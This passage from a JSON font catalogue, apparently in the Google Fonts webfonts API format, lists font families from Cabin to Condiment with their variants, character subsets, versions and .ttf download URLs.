"http://fonts.gstatic.com/s/butterflykids/v8/ll8lK2CWTjuqAsXDqlnIbMNs5S4arxFrAX1D.ttf" } }, { "kind": "webfonts#webfont", "family": "Cabin", "category": "sans-serif", "variants": [ "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v14", "lastModified": "2019-07-22", "files": { "500": "http://fonts.gstatic.com/s/cabin/v14/u-480qWljRw-PdfD3NhisShmeh5I.ttf", "600": "http://fonts.gstatic.com/s/cabin/v14/u-480qWljRw-Pdfv29hisShmeh5I.ttf", "700": "http://fonts.gstatic.com/s/cabin/v14/u-480qWljRw-PdeL2thisShmeh5I.ttf", "regular": "http://fonts.gstatic.com/s/cabin/v14/u-4x0qWljRw-Pe839fxqmjRv.ttf", "italic": "http://fonts.gstatic.com/s/cabin/v14/u-4_0qWljRw-Pd81__hInyRvYwc.ttf", "500italic": "http://fonts.gstatic.com/s/cabin/v14/u-460qWljRw-Pd81xwxhuyxEfw5IR-Y.ttf", "600italic": "http://fonts.gstatic.com/s/cabin/v14/u-460qWljRw-Pd81xyBmuyxEfw5IR-Y.ttf", "700italic": "http://fonts.gstatic.com/s/cabin/v14/u-460qWljRw-Pd81x0RnuyxEfw5IR-Y.ttf" } }, { "kind": "webfonts#webfont", "family": "Cabin Condensed", "category": "sans-serif", "variants": [ "regular", "500", "600", "700" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v13", "lastModified": "2019-07-17", "files": { "500": "http://fonts.gstatic.com/s/cabincondensed/v13/nwpJtK6mNhBK2err_hqkYhHRqmwilMH97F15-K1oqQ.ttf", "600": "http://fonts.gstatic.com/s/cabincondensed/v13/nwpJtK6mNhBK2err_hqkYhHRqmwiuMb97F15-K1oqQ.ttf", "700": "http://fonts.gstatic.com/s/cabincondensed/v13/nwpJtK6mNhBK2err_hqkYhHRqmwi3Mf97F15-K1oqQ.ttf", "regular": "http://fonts.gstatic.com/s/cabincondensed/v13/nwpMtK6mNhBK2err_hqkYhHRqmwaYOjZ5HZl8Q.ttf" } }, { "kind": "webfonts#webfont", "family": "Cabin Sketch", "category": "display", "variants": [ "regular", "700" ], "subsets": [ "latin" ], "version": "v13", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/cabinsketch/v13/QGY2z_kZZAGCONcK2A4bGOj0I_1o4dLyI4CMFw.ttf", "regular": "http://fonts.gstatic.com/s/cabinsketch/v13/QGYpz_kZZAGCONcK2A4bGOjMn9JM6fnuKg.ttf" } }, { "kind": "webfonts#webfont", "family": "Caesar Dressing", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/caesardressing/v8/yYLx0hLa3vawqtwdswbotmK4vrR3cbb6LZttyg.ttf" } }, { "kind": "webfonts#webfont", "family": "Cagliostro", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/cagliostro/v8/ZgNWjP5HM73BV5amnX-TjGXEM4COoE4.ttf" } }, { "kind": "webfonts#webfont", "family": "Cairo", "category": "sans-serif", "variants": [ "200", "300", "regular", "600", "700", "900" ], "subsets": [ "arabic", "latin", "latin-ext" ], "version": "v6", "lastModified": "2019-07-17", "files": { "200": "http://fonts.gstatic.com/s/cairo/v6/SLXLc1nY6Hkvalrub76M7dd8aGZk.ttf", "300": "http://fonts.gstatic.com/s/cairo/v6/SLXLc1nY6HkvalqKbL6M7dd8aGZk.ttf", "600": "http://fonts.gstatic.com/s/cairo/v6/SLXLc1nY6Hkvalr-ar6M7dd8aGZk.ttf", "700": "http://fonts.gstatic.com/s/cairo/v6/SLXLc1nY6Hkvalqaa76M7dd8aGZk.ttf", "900": "http://fonts.gstatic.com/s/cairo/v6/SLXLc1nY6Hkvalqiab6M7dd8aGZk.ttf", "regular": "http://fonts.gstatic.com/s/cairo/v6/SLXGc1nY6HkvamImRJqExst1.ttf" } }, { "kind": "webfonts#webfont", "family": "Caladea", "category": "serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v1", "lastModified": "2020-03-03", "files": { "700": "http://fonts.gstatic.com/s/caladea/v1/kJE2BugZ7AAjhybUtaNY39oYqO52FZ0.ttf", "regular": "http://fonts.gstatic.com/s/caladea/v1/kJEzBugZ7AAjhybUjR93-9IztOc.ttf", "italic": "http://fonts.gstatic.com/s/caladea/v1/kJExBugZ7AAjhybUvR19__A2pOdvDA.ttf", "700italic": "http://fonts.gstatic.com/s/caladea/v1/kJE0BugZ7AAjhybUvR1FQ98SrMxzBZ2lDA.ttf" } }, { "kind": "webfonts#webfont", "family": "Calistoga", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/calistoga/v1/6NUU8F2OJg6MeR7l4e0vtMYAwdRZfw.ttf" } }, { "kind": "webfonts#webfont", "family": "Calligraffitti", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/calligraffitti/v11/46k2lbT3XjDVqJw3DCmCFjE0vnFZM5ZBpYN-.ttf" } }, { "kind": "webfonts#webfont", "family": "Cambay", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v6", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/cambay/v6/SLXKc1rY6H0_ZDs-0pusx_lwYX99kA.ttf", "regular": "http://fonts.gstatic.com/s/cambay/v6/SLXJc1rY6H0_ZDsGbrSIz9JsaA.ttf", "italic": "http://fonts.gstatic.com/s/cambay/v6/SLXLc1rY6H0_ZDs2bL6M7dd8aGZk.ttf", "700italic": "http://fonts.gstatic.com/s/cambay/v6/SLXMc1rY6H0_ZDs2bIYwwvN0Q3ptkDMN.ttf" } }, { "kind": "webfonts#webfont", "family": "Cambo", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/cambo/v8/IFSqHeNEk8FJk416ok7xkPm8.ttf" } }, { "kind": "webfonts#webfont", "family": "Candal", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/candal/v9/XoHn2YH6T7-t_8cNAR4Jt9Yxlw.ttf" } }, { "kind": "webfonts#webfont", "family": "Cantarell", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-17", "files": { "700": "http://fonts.gstatic.com/s/cantarell/v9/B50IF7ZDq37KMUvlO01xN4dOFISeJY8GgQ.ttf", "regular": "http://fonts.gstatic.com/s/cantarell/v9/B50NF7ZDq37KMUvlO01Ji6hqHK-CLA.ttf", "italic": "http://fonts.gstatic.com/s/cantarell/v9/B50LF7ZDq37KMUvlO015iaJuPqqSLJYf.ttf", "700italic": "http://fonts.gstatic.com/s/cantarell/v9/B50WF7ZDq37KMUvlO015iZrSEY6aB4oWgWHB.ttf" } }, { "kind": "webfonts#webfont", "family": "Cantata One", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/cantataone/v9/PlI5Fl60Nb5obNzNe2jslVxEt8CwfGaD.ttf" } }, { "kind": "webfonts#webfont", "family": "Cantora One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/cantoraone/v9/gyB4hws1JdgnKy56GB_JX6zdZ4vZVbgZ.ttf" } }, { "kind": "webfonts#webfont", "family": "Capriola", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/capriola/v7/wXKoE3YSppcvo1PDln_8L-AinG8y.ttf" } }, { "kind": "webfonts#webfont", "family": "Cardo", "category": "serif", "variants": [ "regular", "italic", "700" ], "subsets": [ "greek", "greek-ext", "latin", "latin-ext" ], "version": "v11", "lastModified": "2019-07-17", "files": { "700": "http://fonts.gstatic.com/s/cardo/v11/wlpygwjKBV1pqhND-aQR82JHaTBX.ttf", "regular": "http://fonts.gstatic.com/s/cardo/v11/wlp_gwjKBV1pqiv_1oAZ2H5O.ttf", "italic": "http://fonts.gstatic.com/s/cardo/v11/wlpxgwjKBV1pqhv93IQ73W5OcCk.ttf" } }, { "kind": "webfonts#webfont", "family": "Carme", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/carme/v10/ptRHTiWdbvZIDOjGxLNrxfbZ.ttf" } }, { "kind": "webfonts#webfont", "family": "Carrois Gothic", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/carroisgothic/v10/Z9XPDmFATg-N1PLtLOOxvIHl9ZmD3i7ajcJ-.ttf" } }, { "kind": "webfonts#webfont", "family": "Carrois Gothic SC", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/carroisgothicsc/v9/ZgNJjOVHM6jfUZCmyUqT2A2HVKjc-28nNHabY4dN.ttf" } }, { "kind": "webfonts#webfont", "family": "Carter One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/carterone/v11/q5uCsoe5IOB2-pXv9UcNIxR2hYxREMs.ttf" } }, { "kind": "webfonts#webfont", "family": "Catamaran", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "latin", "latin-ext", "tamil" ], "version": "v6", "lastModified": "2019-07-17", "files": { "100": "http://fonts.gstatic.com/s/catamaran/v6/o-0OIpQoyXQa2RxT7-5jhjRFSfiM7HBj.ttf", "200": "http://fonts.gstatic.com/s/catamaran/v6/o-0NIpQoyXQa2RxT7-5jKhVlY9aA5Wl6PQ.ttf", "300": "http://fonts.gstatic.com/s/catamaran/v6/o-0NIpQoyXQa2RxT7-5jThZlY9aA5Wl6PQ.ttf", "500": "http://fonts.gstatic.com/s/catamaran/v6/o-0NIpQoyXQa2RxT7-5jFhdlY9aA5Wl6PQ.ttf", "600": "http://fonts.gstatic.com/s/catamaran/v6/o-0NIpQoyXQa2RxT7-5jOhBlY9aA5Wl6PQ.ttf", "700": "http://fonts.gstatic.com/s/catamaran/v6/o-0NIpQoyXQa2RxT7-5jXhFlY9aA5Wl6PQ.ttf", "800": "http://fonts.gstatic.com/s/catamaran/v6/o-0NIpQoyXQa2RxT7-5jQhJlY9aA5Wl6PQ.ttf", "900": "http://fonts.gstatic.com/s/catamaran/v6/o-0NIpQoyXQa2RxT7-5jZhNlY9aA5Wl6PQ.ttf", "regular": "http://fonts.gstatic.com/s/catamaran/v6/o-0IIpQoyXQa2RxT7-5b4j5Ba_2c7A.ttf" } }, { "kind": "webfonts#webfont", "family": "Caudex", "category": "serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "greek", "greek-ext", "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/caudex/v9/esDT311QOP6BJUrwdteklZUCGpG-GQ.ttf", "regular": "http://fonts.gstatic.com/s/caudex/v9/esDQ311QOP6BJUrIyviAnb4eEw.ttf", "italic": "http://fonts.gstatic.com/s/caudex/v9/esDS311QOP6BJUr4yPKEv7sOE4in.ttf", "700italic": "http://fonts.gstatic.com/s/caudex/v9/esDV311QOP6BJUr4yMo4kJ8GOJSuGdLB.ttf" } }, { "kind": "webfonts#webfont", "family": "Caveat", "category": "handwriting", "variants": [ "regular", "700" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-17", "files": { "700": "http://fonts.gstatic.com/s/caveat/v7/Wnz5HAc5bAfYB2Qz3RM9oiTQNAuxjA.ttf", "regular": "http://fonts.gstatic.com/s/caveat/v7/Wnz6HAc5bAfYB2QLYTwZqg_MPQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Caveat Brush", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/caveatbrush/v5/EYq0maZfwr9S9-ETZc3fKXtMW7mT03pdQw.ttf" } }, { "kind": "webfonts#webfont", "family": "Cedarville Cursive", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/cedarvillecursive/v11/yYL00g_a2veiudhUmxjo5VKkoqA-B_neJbBxw8BeTg.ttf" } }, { "kind": "webfonts#webfont", "family": "Ceviche One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/cevicheone/v10/gyB4hws1IcA6JzR-GB_JX6zdZ4vZVbgZ.ttf" } }, { "kind": "webfonts#webfont", "family": "Chakra Petch", "category": "sans-serif", "variants": [ "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "latin", "latin-ext", "thai", "vietnamese" ], "version": "v3", "lastModified": "2019-11-05", "files": { "300": "http://fonts.gstatic.com/s/chakrapetch/v3/cIflMapbsEk7TDLdtEz1BwkeNIhFQJXE3AY00g.ttf", "500": "http://fonts.gstatic.com/s/chakrapetch/v3/cIflMapbsEk7TDLdtEz1BwkebIlFQJXE3AY00g.ttf", "600": "http://fonts.gstatic.com/s/chakrapetch/v3/cIflMapbsEk7TDLdtEz1BwkeQI5FQJXE3AY00g.ttf", "700": "http://fonts.gstatic.com/s/chakrapetch/v3/cIflMapbsEk7TDLdtEz1BwkeJI9FQJXE3AY00g.ttf", "300italic": "http://fonts.gstatic.com/s/chakrapetch/v3/cIfnMapbsEk7TDLdtEz1BwkWmpLJQp_A_gMk0izH.ttf", "regular": "http://fonts.gstatic.com/s/chakrapetch/v3/cIf6MapbsEk7TDLdtEz1BwkmmKBhSL7Y1Q.ttf", "italic": "http://fonts.gstatic.com/s/chakrapetch/v3/cIfkMapbsEk7TDLdtEz1BwkWmqplarvI1R8t.ttf", "500italic": "http://fonts.gstatic.com/s/chakrapetch/v3/cIfnMapbsEk7TDLdtEz1BwkWmpKRQ5_A_gMk0izH.ttf", "600italic": "http://fonts.gstatic.com/s/chakrapetch/v3/cIfnMapbsEk7TDLdtEz1BwkWmpK9RJ_A_gMk0izH.ttf", "700italic": "http://fonts.gstatic.com/s/chakrapetch/v3/cIfnMapbsEk7TDLdtEz1BwkWmpLZRZ_A_gMk0izH.ttf" } }, { "kind": "webfonts#webfont", "family": "Changa", "category": "sans-serif", "variants": [ "200", "300", "regular", "500", "600", "700", "800" ], "subsets": [ "arabic", "latin", "latin-ext" ], "version": "v9", "lastModified": "2020-02-05", "files": { "200": "http://fonts.gstatic.com/s/changa/v9/2-c79JNi2YuVOUcOarRPgnNGooxCZy2xQjDp9htf1ZM.ttf", "300": "http://fonts.gstatic.com/s/changa/v9/2-c79JNi2YuVOUcOarRPgnNGooxCZ_OxQjDp9htf1ZM.ttf", "500": "http://fonts.gstatic.com/s/changa/v9/2-c79JNi2YuVOUcOarRPgnNGooxCZ5-xQjDp9htf1ZM.ttf", "600": "http://fonts.gstatic.com/s/changa/v9/2-c79JNi2YuVOUcOarRPgnNGooxCZ3O2QjDp9htf1ZM.ttf", "700": "http://fonts.gstatic.com/s/changa/v9/2-c79JNi2YuVOUcOarRPgnNGooxCZ0q2QjDp9htf1ZM.ttf", "800": "http://fonts.gstatic.com/s/changa/v9/2-c79JNi2YuVOUcOarRPgnNGooxCZy22QjDp9htf1ZM.ttf", "regular": "http://fonts.gstatic.com/s/changa/v9/2-c79JNi2YuVOUcOarRPgnNGooxCZ62xQjDp9htf1ZM.ttf" } }, { "kind": "webfonts#webfont", "family": "Changa One", "category": "display", "variants": [ "regular", "italic" ], "subsets": [ "latin" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/changaone/v12/xfu00W3wXn3QLUJXhzq46AbouLfbK64.ttf", "italic": "http://fonts.gstatic.com/s/changaone/v12/xfu20W3wXn3QLUJXhzq42ATivJXeO67ISw.ttf" } }, { "kind": "webfonts#webfont", "family": "Chango", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/chango/v8/2V0cKI0OB5U7WaJyz324TFUaAw.ttf" } }, { "kind": "webfonts#webfont", "family": "Charm", "category": "handwriting", "variants": [ "regular", "700" ], "subsets": [ "latin", "latin-ext", "thai", "vietnamese" ], "version": "v4", "lastModified": "2019-11-05", "files": { "700": "http://fonts.gstatic.com/s/charm/v4/7cHrv4oii5K0Md6TDss8yn4hnCci.ttf", "regular": "http://fonts.gstatic.com/s/charm/v4/7cHmv4oii5K0MeYvIe804WIo.ttf" } }, { "kind": "webfonts#webfont", "family": "Charmonman", "category": "handwriting", "variants": [ "regular", "700" ], "subsets": [ "latin", "latin-ext", "thai", "vietnamese" ], "version": "v3", "lastModified": "2019-11-05", "files": { "700": "http://fonts.gstatic.com/s/charmonman/v3/MjQAmiR3vP_nuxDv47jiYC2HmL9K9OhmGnY.ttf", "regular": "http://fonts.gstatic.com/s/charmonman/v3/MjQDmiR3vP_nuxDv47jiWJGovLdh6OE.ttf" } }, { "kind": "webfonts#webfont", "family": "Chathura", "category": "sans-serif", "variants": [ "100", "300", "regular", "700", "800" ], "subsets": [ "latin", "telugu" ], "version": "v5", "lastModified": "2019-07-16", "files": { "100": "http://fonts.gstatic.com/s/chathura/v5/_gP91R7-rzUuVjim42dEq0SbTvZyuDo.ttf", "300": "http://fonts.gstatic.com/s/chathura/v5/_gP81R7-rzUuVjim42eMiWSxYPp7oSNy.ttf", "700": "http://fonts.gstatic.com/s/chathura/v5/_gP81R7-rzUuVjim42ecjmSxYPp7oSNy.ttf", "800": "http://fonts.gstatic.com/s/chathura/v5/_gP81R7-rzUuVjim42eAjWSxYPp7oSNy.ttf", "regular": "http://fonts.gstatic.com/s/chathura/v5/_gP71R7-rzUuVjim418goUC5S-Zy.ttf" } }, { "kind": "webfonts#webfont", "family": "Chau Philomene One", "category": "sans-serif", "variants": [ "regular", "italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/chauphilomeneone/v9/55xxezRsPtfie1vPY49qzdgSlJiHRQFsnIx7QMISdQ.ttf", "italic": "http://fonts.gstatic.com/s/chauphilomeneone/v9/55xzezRsPtfie1vPY49qzdgSlJiHRQFcnoZ_YscCdXQB.ttf" } }, { "kind": "webfonts#webfont", "family": "Chela One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/chelaone/v8/6ae-4KC7Uqgdz_JZdPIy31vWNTMwoQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Chelsea Market", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/chelseamarket/v7/BCawqZsHqfr89WNP_IApC8tzKBhlLA4uKkWk.ttf" } }, { "kind": "webfonts#webfont", "family": "Chenla", "category": "display", "variants": [ "regular" ], "subsets": [ "khmer" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/chenla/v12/SZc43FDpIKu8WZ9eXxfonUPL6Q.ttf" } }, { "kind": "webfonts#webfont", "family": "Cherry Cream Soda", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/cherrycreamsoda/v10/UMBIrOxBrW6w2FFyi9paG0fdVdRciTd6Cd47DJ7G.ttf" } }, { "kind": "webfonts#webfont", "family": "Cherry Swash", "category": "display", "variants": [ "regular", "700" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/cherryswash/v8/i7dSIFByZjaNAMxtZcnfAy5E_FeaGy6QZ3WfYg.ttf", "regular": "http://fonts.gstatic.com/s/cherryswash/v8/i7dNIFByZjaNAMxtZcnfAy58QHi-EwWMbg.ttf" } }, { "kind": "webfonts#webfont", "family": "Chewy", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/chewy/v11/uK_94ruUb-k-wk5xIDMfO-ed.ttf" } }, { "kind": "webfonts#webfont", "family": "Chicle", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/chicle/v8/lJwG-pw9i2dqU-BDyWKuobYSxw.ttf" } }, { "kind": "webfonts#webfont", "family": "Chilanka", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "malayalam" ], "version": "v5", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/chilanka/v5/WWXRlj2DZQiMJYaYRrJQI9EAZhTO.ttf" } }, { "kind": "webfonts#webfont", "family": "Chivo", "category": "sans-serif", "variants": [ "300", "300italic", "regular", "italic", "700", "700italic", "900", "900italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v11", "lastModified": "2019-07-17", "files": { "300": "http://fonts.gstatic.com/s/chivo/v11/va9F4kzIxd1KFrjDY8Z_uqzGQC_-.ttf", "700": "http://fonts.gstatic.com/s/chivo/v11/va9F4kzIxd1KFrjTZMZ_uqzGQC_-.ttf", "900": "http://fonts.gstatic.com/s/chivo/v11/va9F4kzIxd1KFrjrZsZ_uqzGQC_-.ttf", "300italic": "http://fonts.gstatic.com/s/chivo/v11/va9D4kzIxd1KFrBteUp9sKjkRT_-bF0.ttf", "regular": "http://fonts.gstatic.com/s/chivo/v11/va9I4kzIxd1KFoBvS-J3kbDP.ttf", "italic": "http://fonts.gstatic.com/s/chivo/v11/va9G4kzIxd1KFrBtQeZVlKDPWTY.ttf", "700italic": "http://fonts.gstatic.com/s/chivo/v11/va9D4kzIxd1KFrBteVp6sKjkRT_-bF0.ttf", "900italic": "http://fonts.gstatic.com/s/chivo/v11/va9D4kzIxd1KFrBteWJ4sKjkRT_-bF0.ttf" } }, { "kind": "webfonts#webfont", "family": "Chonburi", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext", "thai", "vietnamese" ], "version": "v4", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/chonburi/v4/8AtqGs-wOpGRTBq66IWaFr3biAfZ.ttf" } }, { "kind": "webfonts#webfont", "family": "Cinzel", "category": "serif", "variants": [ "regular", "700", "900" ], "subsets": [ "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-17", "files": { "700": "http://fonts.gstatic.com/s/cinzel/v9/8vIK7ww63mVu7gtzTUHeFGxbO_zo-w.ttf", "900": "http://fonts.gstatic.com/s/cinzel/v9/8vIK7ww63mVu7gtzdUPeFGxbO_zo-w.ttf", "regular": "http://fonts.gstatic.com/s/cinzel/v9/8vIJ7ww63mVu7gtL8W76HEdHMg.ttf" } }, { "kind": "webfonts#webfont", "family": "Cinzel Decorative", "category": "display", "variants": [ "regular", "700", "900" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/cinzeldecorative/v8/daaHSScvJGqLYhG8nNt8KPPswUAPniZoaelDQzCLlQXE.ttf", "900": "http://fonts.gstatic.com/s/cinzeldecorative/v8/daaHSScvJGqLYhG8nNt8KPPswUAPniZQa-lDQzCLlQXE.ttf", "regular": "http://fonts.gstatic.com/s/cinzeldecorative/v8/daaCSScvJGqLYhG8nNt8KPPswUAPnh7URs1LaCyC.ttf" } }, { "kind": "webfonts#webfont", "family": "Clicker Script", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/clickerscript/v7/raxkHiKPvt8CMH6ZWP8PdlEq72rY2zqUKafv.ttf" } }, { "kind": "webfonts#webfont", "family": "Coda", "category": "display", "variants": [ "regular", "800" ], "subsets": [ "latin", "latin-ext" ], "version": "v15", "lastModified": "2019-07-16", "files": { "800": "http://fonts.gstatic.com/s/coda/v15/SLXIc1jY5nQ8HeIgTp6mw9t1cX8.ttf", "regular": "http://fonts.gstatic.com/s/coda/v15/SLXHc1jY5nQ8JUIMapaN39I.ttf" } }, { "kind": "webfonts#webfont", "family": "Coda Caption", "category": "sans-serif", "variants": [ "800" ], "subsets": [ "latin", "latin-ext" ], "version": "v13", "lastModified": "2019-07-16", "files": { "800": "http://fonts.gstatic.com/s/codacaption/v13/ieVm2YRII2GMY7SyXSoDRiQGqcx6x_-fACIgaw.ttf" } }, { "kind": "webfonts#webfont", "family": "Codystar", "category": "display", "variants": [ "300", "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/codystar/v7/FwZf7-Q1xVk-40qxOuYsyuyrj0e29bfC.ttf", "regular": "http://fonts.gstatic.com/s/codystar/v7/FwZY7-Q1xVk-40qxOt6A4sijpFu_.ttf" } }, { "kind": "webfonts#webfont", "family": "Coiny", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext", "tamil", "vietnamese" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/coiny/v5/gyByhwU1K989PXwbElSvO5Tc.ttf" } }, { "kind": "webfonts#webfont", "family": "Combo", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/combo/v8/BXRlvF3Jh_fIhg0iBu9y8Hf0.ttf" } }, { "kind": "webfonts#webfont", "family": "Comfortaa", "category": "display", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek", "latin", "latin-ext", "vietnamese" ], "version": "v28", "lastModified": "2020-02-05", "files": { "300": "http://fonts.gstatic.com/s/comfortaa/v28/1Pt_g8LJRfWJmhDAuUsSQamb1W0lwk4S4TbMPrQVIT9c2c8.ttf", "500": "http://fonts.gstatic.com/s/comfortaa/v28/1Pt_g8LJRfWJmhDAuUsSQamb1W0lwk4S4VrMPrQVIT9c2c8.ttf", "600": "http://fonts.gstatic.com/s/comfortaa/v28/1Pt_g8LJRfWJmhDAuUsSQamb1W0lwk4S4bbLPrQVIT9c2c8.ttf", "700": "http://fonts.gstatic.com/s/comfortaa/v28/1Pt_g8LJRfWJmhDAuUsSQamb1W0lwk4S4Y_LPrQVIT9c2c8.ttf", "regular": "http://fonts.gstatic.com/s/comfortaa/v28/1Pt_g8LJRfWJmhDAuUsSQamb1W0lwk4S4WjMPrQVIT9c2c8.ttf" } }, { "kind": "webfonts#webfont", "family": "Comic Neue", "category": "handwriting", "variants": [ "300", "300italic", "regular", "italic", "700", "700italic" ], "subsets": [ "latin" ], "version": "v1", "lastModified": "2020-05-01", "files": { "300": "http://fonts.gstatic.com/s/comicneue/v1/4UaErEJDsxBrF37olUeD_wHLwpteLwtHJlc.ttf", "700": "http://fonts.gstatic.com/s/comicneue/v1/4UaErEJDsxBrF37olUeD_xHMwpteLwtHJlc.ttf", "300italic": "http://fonts.gstatic.com/s/comicneue/v1/4UaarEJDsxBrF37olUeD96_RTplUKylCNlcw_Q.ttf", "regular": "http://fonts.gstatic.com/s/comicneue/v1/4UaHrEJDsxBrF37olUeDx63j5pN1MwI.ttf", "italic": "http://fonts.gstatic.com/s/comicneue/v1/4UaFrEJDsxBrF37olUeD96_p4rFwIwJePw.ttf", "700italic": "http://fonts.gstatic.com/s/comicneue/v1/4UaarEJDsxBrF37olUeD96_RXp5UKylCNlcw_Q.ttf" } }, { "kind": "webfonts#webfont", "family": "Coming Soon", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-26", "files": { "regular": "http://fonts.gstatic.com/s/comingsoon/v11/qWcuB6mzpYL7AJ2VfdQR1u-SUjjzsykh.ttf" } }, { "kind": "webfonts#webfont", "family": "Concert One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v10", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/concertone/v10/VEM1Ro9xs5PjtzCu-srDqRTlhv-CuVAQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Condiment", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/condiment/v7/pONk1hggFNmwvXALyH6Sq4n4o1vyCQ.ttf" } }, { "kind": "webfonts#webfont", 